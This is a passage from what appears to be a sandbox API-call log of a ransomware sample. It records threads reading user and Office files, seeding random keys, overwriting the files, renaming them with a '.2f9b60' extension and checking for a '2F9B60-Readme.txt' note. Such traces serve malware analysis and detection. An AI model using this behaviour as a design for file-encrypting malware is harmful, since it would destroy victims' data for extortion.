_Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="31") returned 2 [0103.842] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="a0") returned 2 [0103.842] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="4a") returned 2 [0103.842] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="67") returned 2 [0103.843] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="be") returned 2 [0103.843] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="3a") returned 2 [0103.843] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="50") returned 2 [0103.843] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="5d") returned 2 [0103.843] RtlInitAnsiString (in: DestinationString=0x2e80fa88, SourceString="100e7d3a1632a7180bbb2d1031a04a67be3a505d" | out: DestinationString="100e7d3a1632a7180bbb2d1031a04a67be3a505d") [0103.843] RtlAnsiStringToUnicodeString (in: DestinationString=0x2e80fa58, SourceString="100e7d3a1632a7180bbb2d1031a04a67be3a505d", AllocateDestinationString=1 | out: DestinationString="100e7d3a1632a7180bbb2d1031a04a67be3a505d") returned 0x0 [0103.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9c730 [0103.843] wcscat (in: _Dest=0x2050a260, _Source="100e7d3a16" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\100e7d3a16") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\100e7d3a16" [0103.843] wcscat (in: _Dest=0x2050a260, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\100e7d3a16.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\100e7d3a16.2f9b60" [0103.843] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\100e7d3a16.2f9b60", NtPathName=0x2e80fa30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\100e7d3a16.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0103.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x20501690 [0104.474] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501690) returned 1 [0104.474] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42057af0) returned 1 [0104.474] NtQueryInformationFile (in: FileHandle=0x1728, IoStatusBlock=0x2e80fa98, FileInformation=0x2e80faa8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2e80fa98, FileInformation=0x2e80faa8) returned 0x0 [0104.474] NtSetInformationFile (FileHandle=0x1728, IoStatusBlock=0x2e80fa98, FileInformation=0x2e80faa8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a260) returned 1 [0104.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c730) returned 1 [0104.478] FlushFileBuffers (hFile=0x1728) returned 1 [0104.582] CloseHandle (hObject=0x1728) returned 1 [0104.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a4650 [0104.594] wcscpy (in: _Dest=0x202a4650, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0104.594] wcscat (in: _Dest=0x202a4650, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" [0104.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\media\\2f9b60-readme.txt")) returned 0x20 [0104.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4650) returned 1 [0104.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e610) returned 1 Thread: id = 916 os_tid = 0x14f8 [0101.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WIND.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\wind.wav")) returned 0x20 [0103.589] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WIND.WAV", dwFileAttributes=0x20) returned 1 [0103.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WIND.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\wind.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1798 [0103.664] GetFileSizeEx (in: hFile=0x1798, lpFileSize=0x2e8dfba0 | out: lpFileSize=0x2e8dfba0*=11140) returned 1 [0103.664] SetFilePointerEx (in: hFile=0x1798, liDistanceToMove=0x2b80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.664] ReadFile (in: hFile=0x1798, lpBuffer=0x2e8dfb20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e8dfb68, lpOverlapped=0x0 | out: lpBuffer=0x2e8dfb20*, lpNumberOfBytesRead=0x2e8dfb68*=0x4, lpOverlapped=0x0) returned 1 [0103.709] SetFilePointerEx (in: hFile=0x1798, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860000 [0103.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f700 [0103.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0103.710] NtQuerySystemTime (in: CurrentTime=0x2e8dfa60 | out: CurrentTime=0x2e8dfa60*=132462177092230000) returned 0x0 [0103.710] RtlRandomEx (in: Seed=0x2e8dfa50 | out: Seed=0x2e8dfa50) returned 0x727a2828 [0103.710] RtlRandomEx (in: Seed=0x2e8dfa50 | out: Seed=0x2e8dfa50) returned 0x3e07847e [0103.710] RtlRandomEx (in: Seed=0x2e8dfa50 | out: Seed=0x2e8dfa50) returned 0x2643b52 [0103.710] RtlRandomEx (in: Seed=0x2e8dfa50 | out: Seed=0x2e8dfa50) returned 0x52c9ee0b [0103.710] RtlRandomEx (in: Seed=0x2e8dfa50 | out: Seed=0x2e8dfa50) returned 0x6700cae4 [0103.710] RtlRandomEx (in: Seed=0x2e8dfa50 | out: Seed=0x2e8dfa50) returned 0x7f0085f8 [0103.710] RtlRandomEx (in: Seed=0x2e8dfa50 | out: Seed=0x2e8dfa50) returned 0x53f23cad [0103.710] RtlRandomEx (in: Seed=0x2e8dfa50 | out: Seed=0x2e8dfa50) returned 0x3c13a7b1 [0103.710] RtlRandomEx (in: Seed=0x2e8dfa50 | out: Seed=0x2e8dfa50) returned 0x1f509318 [0103.710] RtlRandomEx (in: Seed=0x2e8dfa50 | out: Seed=0x2e8dfa50) returned 0x35042f27 [0103.710] RtlRandomEx (in: Seed=0x2e8dfa50 | out: Seed=0x2e8dfa50) returned 0x386e5db5 [0103.710] RtlRandomEx (in: Seed=0x2e8dfa50 | out: Seed=0x2e8dfa50) returned 0x22834093 [0103.710] RtlRandomEx (in: Seed=0x2e8dfa50 | out: Seed=0x2e8dfa50) returned 0x7597a942 [0103.710] RtlRandomEx (in: Seed=0x2e8dfa50 | out: Seed=0x2e8dfa50) returned 0x32eb2bc0 [0103.710] RtlRandomEx (in: Seed=0x2e8dfa50 | out: Seed=0x2e8dfa50) returned 0x6f26bc1c [0103.710] RtlRandomEx (in: Seed=0x2e8dfa50 | out: Seed=0x2e8dfa50) returned 0x24063746 [0103.710] RtlRandomEx (in: Seed=0x2e8dfa50 | out: Seed=0x2e8dfa50) returned 0x159c025 [0103.711] RtlRandomEx (in: Seed=0x2e8dfa50 | out: Seed=0x2e8dfa50) returned 0x767d5026 [0103.711] RtlRandomEx (in: Seed=0x2e8dfa50 | out: Seed=0x2e8dfa50) returned 0x2ac6e9c2 [0103.711] RtlRandomEx (in: Seed=0x2e8dfa50 | out: Seed=0x2e8dfa50) returned 0x3ca9931d [0103.711] RtlRandomEx (in: Seed=0x2e8dfa50 | out: Seed=0x2e8dfa50) returned 0x4549b0bc [0103.711] RtlRandomEx (in: Seed=0x2e8dfa50 | out: Seed=0x2e8dfa50) returned 0x7bb70cc1 [0103.711] RtlRandomEx (in: Seed=0x2e8dfa50 | out: Seed=0x2e8dfa50) returned 0x820c577 [0103.711] RtlRandomEx (in: Seed=0x2e8dfa50 | out: Seed=0x2e8dfa50) returned 0x7f94725 [0103.711] RtlRandomEx (in: Seed=0x2e8dfa50 | out: Seed=0x2e8dfa50) returned 0x4099c92b [0103.711] RtlRandomEx (in: Seed=0x2e8dfa50 | out: Seed=0x2e8dfa50) returned 0x4b402fb7 [0103.711] RtlRandomEx (in: Seed=0x2e8dfa50 | out: Seed=0x2e8dfa50) returned 0x5922f3b8 [0103.711] RtlRandomEx (in: Seed=0x2e8dfa50 | out: Seed=0x2e8dfa50) returned 0x505c3aac [0103.711] RtlRandomEx (in: Seed=0x2e8dfa50 | out: Seed=0x2e8dfa50) returned 0x70598c65 [0103.711] RtlRandomEx (in: Seed=0x2e8dfa50 | out: Seed=0x2e8dfa50) returned 0x730eb4c7 [0103.711] RtlRandomEx (in: Seed=0x2e8dfa50 | out: Seed=0x2e8dfa50) returned 0x5b799663 [0103.711] RtlRandomEx (in: Seed=0x2e8dfa50 | out: Seed=0x2e8dfa50) returned 0x41621d00 [0103.720] ReadFile (in: hFile=0x1798, lpBuffer=0x41f085a0, nNumberOfBytesToRead=0x2b84, lpNumberOfBytesRead=0x2e8dfa50, lpOverlapped=0x0 | out: lpBuffer=0x41f085a0*, lpNumberOfBytesRead=0x2e8dfa50*=0x2b84, lpOverlapped=0x0) returned 1 [0103.765] SetFilePointerEx (in: hFile=0x1798, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.765] WriteFile (in: hFile=0x1798, lpBuffer=0x41f0c1b0*, nNumberOfBytesToWrite=0x2b84, lpNumberOfBytesWritten=0x2e8dfa54, lpOverlapped=0x0 | out: lpBuffer=0x41f0c1b0*, lpNumberOfBytesWritten=0x2e8dfa54*=0x2b84, lpOverlapped=0x0) returned 1 [0104.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260440 [0104.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202639e0 [0104.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202639e0) returned 1 [0104.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f0c1b0) returned 1 [0104.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f085a0) returned 1 [0104.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503b10) returned 1 [0104.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd970d0) returned 1 [0104.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x202639e0 [0104.094] SetFilePointerEx (in: hFile=0x1798, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0104.094] WriteFile (in: hFile=0x1798, lpBuffer=0x1693c0*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e8dfb70, lpOverlapped=0x0 | out: lpBuffer=0x1693c0*, lpNumberOfBytesWritten=0x2e8dfb70*=0x102, lpOverlapped=0x0) returned 1 [0104.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f80 [0104.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503b10 [0104.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b30 [0104.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7b30) returned 1 [0104.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d000 [0104.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b30 [0104.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8550 [0104.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8550) returned 1 [0104.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503b10) returned 1 [0104.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f80) returned 1 [0104.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x1ced8550 [0104.233] sprintf (in: _Dest=0x1ced8550, _Format="%c%c" | out: _Dest="83") returned 2 [0104.233] sprintf (in: _Dest=0x1ced8552, _Format="%c%c" | out: _Dest="49") returned 2 [0104.233] sprintf (in: _Dest=0x1ced8554, _Format="%c%c" | out: _Dest="59") returned 2 [0104.233] sprintf (in: _Dest=0x1ced8556, _Format="%c%c" | out: _Dest="78") returned 2 [0104.234] sprintf (in: _Dest=0x1ced8558, _Format="%c%c" | out: _Dest="f1") returned 2 [0104.234] sprintf (in: _Dest=0x1ced855a, _Format="%c%c" | out: _Dest="14") returned 2 [0104.234] sprintf (in: _Dest=0x1ced855c, _Format="%c%c" | out: _Dest="3f") returned 2 [0104.234] sprintf (in: _Dest=0x1ced855e, _Format="%c%c" | out: _Dest="2b") returned 2 [0104.234] sprintf (in: _Dest=0x1ced8560, _Format="%c%c" | out: _Dest="12") returned 2 [0104.234] sprintf (in: _Dest=0x1ced8562, _Format="%c%c" | out: _Dest="6d") returned 2 [0104.234] sprintf (in: _Dest=0x1ced8564, _Format="%c%c" | out: _Dest="91") returned 2 [0104.234] sprintf (in: _Dest=0x1ced8566, _Format="%c%c" | out: _Dest="38") returned 2 [0104.234] sprintf (in: _Dest=0x1ced8568, _Format="%c%c" | out: _Dest="20") returned 2 [0104.234] sprintf (in: _Dest=0x1ced856a, _Format="%c%c" | out: _Dest="37") returned 2 [0104.234] sprintf (in: _Dest=0x1ced856c, _Format="%c%c" | out: _Dest="55") returned 2 [0104.234] sprintf (in: _Dest=0x1ced856e, _Format="%c%c" | out: _Dest="1e") returned 2 [0104.234] RtlInitAnsiString (in: DestinationString=0x2e8dfbe8, SourceString="83495978f1143f2b126d91382037551e" | out: DestinationString="83495978f1143f2b126d91382037551e") [0104.234] RtlAnsiStringToUnicodeString (in: DestinationString=0x2e8dfbb8, SourceString="83495978f1143f2b126d91382037551e", AllocateDestinationString=1 | out: DestinationString="83495978f1143f2b126d91382037551e") returned 0x0 [0104.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1cd971c0 [0104.234] wcscat (in: _Dest=0x2050ada0, _Source="83495978" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\83495978") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\83495978" [0104.234] wcscat (in: _Dest=0x2050ada0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\83495978.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\83495978.2f9b60" [0104.234] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\83495978.2f9b60", NtPathName=0x2e8dfb90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\83495978.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0104.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x205022f0 [0104.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205022f0) returned 1 [0104.489] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42051000) returned 1 [0104.489] NtQueryInformationFile (in: FileHandle=0x1798, IoStatusBlock=0x2e8dfbf8, FileInformation=0x2e8dfc08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2e8dfbf8, FileInformation=0x2e8dfc08) returned 0x0 [0104.489] NtSetInformationFile (FileHandle=0x1798, IoStatusBlock=0x2e8dfbf8, FileInformation=0x2e8dfc08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ada0) returned 1 [0104.491] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0104.491] FlushFileBuffers (hFile=0x1798) returned 1 [0104.615] CloseHandle (hObject=0x1798) returned 1 [0104.615] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a4800 [0104.615] wcscpy (in: _Dest=0x202a4800, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0104.615] wcscat (in: _Dest=0x202a4800, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" [0104.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\media\\2f9b60-readme.txt")) returned 0x20 [0104.615] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4800) returned 1 [0104.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ee10) returned 1 Thread: id = 917 os_tid = 0x14fc [0101.148] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\18V4M7G395di.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\18v4m7g395di.bmp")) returned 0x2020 [0101.149] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\18V4M7G395di.bmp", dwFileAttributes=0x20) returned 1 [0102.131] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\18V4M7G395di.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\18v4m7g395di.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x170c [0102.131] GetFileSizeEx (in: hFile=0x170c, lpFileSize=0x2ea0fc80 | out: lpFileSize=0x2ea0fc80*=43940) returned 1 [0102.132] SetFilePointerEx (in: hFile=0x170c, liDistanceToMove=0xaba0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.132] ReadFile (in: hFile=0x170c, lpBuffer=0x2ea0fc00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ea0fc48, lpOverlapped=0x0 | out: lpBuffer=0x2ea0fc00*, lpNumberOfBytesRead=0x2ea0fc48*=0x4, lpOverlapped=0x0) returned 1 [0102.133] SetFilePointerEx (in: hFile=0x170c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b590 [0102.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b740 [0102.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a990 [0102.134] NtQuerySystemTime (in: CurrentTime=0x2ea0fb40 | out: CurrentTime=0x2ea0fb40*=132462177076630000) returned 0x0 [0102.134] RtlRandomEx (in: Seed=0x2ea0fb30 | out: Seed=0x2ea0fb30) returned 0x6132ed64 [0102.134] RtlRandomEx (in: Seed=0x2ea0fb30 | out: Seed=0x2ea0fb30) returned 0x405d966b [0102.134] RtlRandomEx (in: Seed=0x2ea0fb30 | out: Seed=0x2ea0fb30) returned 0x7f00ce28 [0102.134] RtlRandomEx (in: Seed=0x2ea0fb30 | out: Seed=0x2ea0fb30) returned 0x3b213d90 [0102.134] RtlRandomEx (in: Seed=0x2ea0fb30 | out: Seed=0x2ea0fb30) returned 0x4b0c01a2 [0102.134] RtlRandomEx (in: Seed=0x2ea0fb30 | out: Seed=0x2ea0fb30) returned 0x7645be0a [0102.134] RtlRandomEx (in: Seed=0x2ea0fb30 | out: Seed=0x2ea0fb30) returned 0x11bb036c [0102.134] RtlRandomEx (in: Seed=0x2ea0fb30 | out: Seed=0x2ea0fb30) returned 0x87d2127 [0102.134] RtlRandomEx (in: Seed=0x2ea0fb30 | out: Seed=0x2ea0fb30) returned 0x56ddfd52 [0102.134] RtlRandomEx (in: Seed=0x2ea0fb30 | out: Seed=0x2ea0fb30) returned 0x69ff0fa7 [0102.134] RtlRandomEx (in: Seed=0x2ea0fb30 | out: Seed=0x2ea0fb30) returned 0x5fbc2b99 [0102.135] RtlRandomEx (in: Seed=0x2ea0fb30 | out: Seed=0x2ea0fb30) returned 0x66a5e433 [0102.135] RtlRandomEx (in: Seed=0x2ea0fb30 | out: Seed=0x2ea0fb30) returned 0x66de3fba [0102.135] RtlRandomEx (in: Seed=0x2ea0fb30 | out: Seed=0x2ea0fb30) returned 0x4bc9292b [0102.135] RtlRandomEx (in: Seed=0x2ea0fb30 | out: Seed=0x2ea0fb30) returned 0x14ed6493 [0102.135] RtlRandomEx (in: Seed=0x2ea0fb30 | out: Seed=0x2ea0fb30) returned 0x30d037b1 [0102.135] RtlRandomEx (in: Seed=0x2ea0fb30 | out: Seed=0x2ea0fb30) returned 0x3307a27b [0102.135] RtlRandomEx (in: Seed=0x2ea0fb30 | out: Seed=0x2ea0fb30) returned 0x456310b6 [0102.135] RtlRandomEx (in: Seed=0x2ea0fb30 | out: Seed=0x2ea0fb30) returned 0x22089f27 [0102.135] RtlRandomEx (in: Seed=0x2ea0fb30 | out: Seed=0x2ea0fb30) returned 0x4f9e51c7 [0102.135] RtlRandomEx (in: Seed=0x2ea0fb30 | out: Seed=0x2ea0fb30) returned 0x4190aded [0102.135] RtlRandomEx (in: Seed=0x2ea0fb30 | out: Seed=0x2ea0fb30) returned 0x6eb24559 [0102.135] RtlRandomEx (in: Seed=0x2ea0fb30 | out: Seed=0x2ea0fb30) returned 0x51612b03 [0102.135] RtlRandomEx (in: Seed=0x2ea0fb30 | out: Seed=0x2ea0fb30) returned 0x464fbf0a [0102.135] RtlRandomEx (in: Seed=0x2ea0fb30 | out: Seed=0x2ea0fb30) returned 0x266c2f9d [0102.135] RtlRandomEx (in: Seed=0x2ea0fb30 | out: Seed=0x2ea0fb30) returned 0x4e0f3f22 [0102.136] RtlRandomEx (in: Seed=0x2ea0fb30 | out: Seed=0x2ea0fb30) returned 0x4b5bbd7b [0102.136] RtlRandomEx (in: Seed=0x2ea0fb30 | out: Seed=0x2ea0fb30) returned 0x63a259cf [0102.136] RtlRandomEx (in: Seed=0x2ea0fb30 | out: Seed=0x2ea0fb30) returned 0x584203ae [0102.136] RtlRandomEx (in: Seed=0x2ea0fb30 | out: Seed=0x2ea0fb30) returned 0x776dd806 [0102.136] RtlRandomEx (in: Seed=0x2ea0fb30 | out: Seed=0x2ea0fb30) returned 0x27fe48b6 [0102.136] RtlRandomEx (in: Seed=0x2ea0fb30 | out: Seed=0x2ea0fb30) returned 0x2338d607 [0102.150] SetFilePointerEx (in: hFile=0x170c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.150] ReadFile (in: hFile=0x170c, lpBuffer=0x1ce7f1d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2ea0fba0, lpOverlapped=0x0 | out: lpBuffer=0x1ce7f1d0*, lpNumberOfBytesRead=0x2ea0fba0*=0x3c00, lpOverlapped=0x0) returned 1 [0102.150] SetFilePointerEx (in: hFile=0x170c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0102.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869bc0 [0102.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b590 [0102.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b590) returned 1 [0102.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce95a30 [0102.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b590 [0102.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a990 [0102.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a990) returned 1 [0102.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869bc0) returned 1 [0102.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0102.152] WriteFile (in: hFile=0x170c, lpBuffer=0x1ce95a30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2ea0fba0, lpOverlapped=0x0 | out: lpBuffer=0x1ce95a30*, lpNumberOfBytesWritten=0x2ea0fba0*=0x3c00, lpOverlapped=0x0) returned 1 [0103.290] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce95a30) returned 1 [0103.290] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce7f1d0) returned 1 [0103.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9f4b0 [0103.290] SetFilePointerEx (in: hFile=0x170c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0103.290] WriteFile (in: hFile=0x170c, lpBuffer=0x4205a650*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2ea0fc50, lpOverlapped=0x0 | out: lpBuffer=0x4205a650*, lpNumberOfBytesWritten=0x2ea0fc50*=0x112, lpOverlapped=0x0) returned 1 [0103.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a650) returned 1 [0103.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f6b0) returned 1 [0103.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260890) returned 1 [0103.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f4b0) returned 1 [0103.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b590) returned 1 [0103.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b740) returned 1 [0103.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b410) returned 1 [0103.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a330) returned 1 [0103.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205da50 [0103.427] wcscpy (in: _Dest=0x4205da50, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\18V4M7G395di.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\18V4M7G395di.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\18V4M7G395di.bmp" [0103.427] wcscat (in: _Dest=0x4205da50, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\18V4M7G395di.bmp.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\18V4M7G395di.bmp.2f9b60" [0103.427] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS 